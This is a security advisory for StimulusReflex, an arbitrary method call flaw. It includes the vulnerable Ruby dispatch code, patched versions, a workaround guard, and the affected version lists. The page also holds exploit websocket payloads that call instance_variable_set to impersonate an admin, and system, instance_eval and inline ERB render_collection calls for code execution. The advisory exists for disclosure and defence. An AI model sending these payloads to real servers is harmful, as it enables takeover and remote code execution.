GHSA-f78j-4w3g-4q65

Suggest an improvement
Source
https://github.com/advisories/GHSA-f78j-4w3g-4q65
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-f78j-4w3g-4q65/GHSA-f78j-4w3g-4q65.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-f78j-4w3g-4q65
Aliases
Published
2024-03-12T15:44:49Z
Modified
2024-09-25T21:00:54.912258Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
StimulusReflex arbitrary method call
Details

Summary

More methods than expected can be called on reflex instances. Being able to call some of them has security implications.

Details

To invoke a reflex a websocket message of the following shape is sent:

{ 
  "target": "[class_name]#[method_name]", 
  "args": [] 
}

The server will proceed to instantiate reflex using the provided class_name as long as it extends StimulusReflex::Reflex. It then attempts to call method_name on the instance with the provided arguments ref:

method = reflex.method method_name
required_params = method.parameters.select { |(kind, _)| kind == :req }
optional_params = method.parameters.select { |(kind, _)| kind == :opt }

if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
  reflex.public_send(method_name, *arguments)
end

This is problematic as reflex.method(method_name) can be more methods than those explicitly specified by the developer in their reflex class. A good example is the instance_variable_set method.

<details>

<summary>Read more</summary> Let's imagine a reflex that uses @user as a trusted variable in an after_reflex callback.

This variable can be overwritten using the following message:

{
  "target": "ChatReflex#instance_variable_set", 
  "args": ["@user", "<admin-id>"]
}

Here are other interesting methods that were found to be available for the ChatReflex sample reflex - remote_byebug: bind a debugging server - pry: drop the process in a REPL session

All in all, only counting :req and :opt parameters helps. For example around version 1.0 only .arity was checked which allowed access to the system method (.arity == -1)

{
  "target": "ChatReflex#system", 
  "args": ["[command here]"]
}

Using public_send instead of send does not help but the following payloads do not work since :rest parameters are not counted in the current version

{
  "target": "ChatReflex#send", 
  "args": ["system", "[command here]"] 
}
{ 
  "target": "ChatReflex#instance_eval", 
  "args": ["system('[command here]')"]
}

</details>

Pre-versions of 3.5.0 added a render_collection method on reflexes with a :req parameter. Calling this method could lead to arbitrary code execution:

{
  "target": "StimulusReflex::Reflex#render_collection", 
  "args": [
    { "inline":  "<% system('[command here]') %>" }
  ]
}

Patches

Patches are available on RubyGems and on NPM.

The patched versions are: - 3.4.2 - 3.5.0.rc4

Workaround

You can add this guard to mitigate the issue if running an unpatched version of the library.

1.) Make sure all your reflexes inherit from the ApplicationReflex class 2.) Add this before_reflex callback to your app/reflexes/application_reflex.rb file:

class ApplicationReflex < StimulusReflex::Reflex
  before_reflex do
    ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]
    allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }

    raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed
  end
end
References

Affected packages

RubyGems / stimulus_reflex

Package

Name
stimulus_reflex
Purl
pkg:gem/stimulus_reflex

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.5.0.pre0
Fixed
3.5.0.rc4

Affected versions

3.*

3.5.0.pre0
3.5.0.pre1
3.5.0.pre2
3.5.0.pre3
3.5.0.pre4
3.5.0.pre5
3.5.0.pre6
3.5.0.pre7
3.5.0.pre8
3.5.0.pre9
3.5.0.pre10
3.5.0.rc1
3.5.0.rc2
3.5.0.rc3

RubyGems / stimulus_reflex

Package

Name
stimulus_reflex
Purl
pkg:gem/stimulus_reflex

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.4.2

Affected versions

0.*

0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
0.1.12
0.2.0
0.3.0
0.3.1
0.3.2
0.3.3

1.*

1.0.0
1.0.1
1.0.2
1.1.0
1.1.1

2.*

2.0.0
2.0.1
2.0.2
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.1.5
2.1.6
2.1.7
2.1.8
2.1.9
2.2.0
2.2.1
2.2.2
2.2.3

3.*

3.0.0
3.1.2
3.1.3
3.1.4
3.2.0.pre0
3.2.0.pre1
3.2.0
3.2.1
3.2.2.pre0
3.2.2.pre1
3.2.2
3.2.3
3.3.0.pre0
3.3.0.pre1
3.3.0.pre2
3.3.0.pre3
3.3.0.pre4
3.3.0.pre5
3.3.0.pre6
3.3.0
3.4.0.pre0
3.4.0.pre1
3.4.0.pre2
3.4.0.pre3
3.4.0.pre4
3.4.0.pre5
3.4.0.pre6
3.4.0.pre7
3.4.0.pre8
3.4.0.pre9
3.4.0
3.4.1

npm / stimulus_reflex

Package

Affected ranges

Type
SEMVER
Events
Introduced
3.5.0-pre0
Fixed
3.5.0-rc4

npm / stimulus_reflex

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.4.2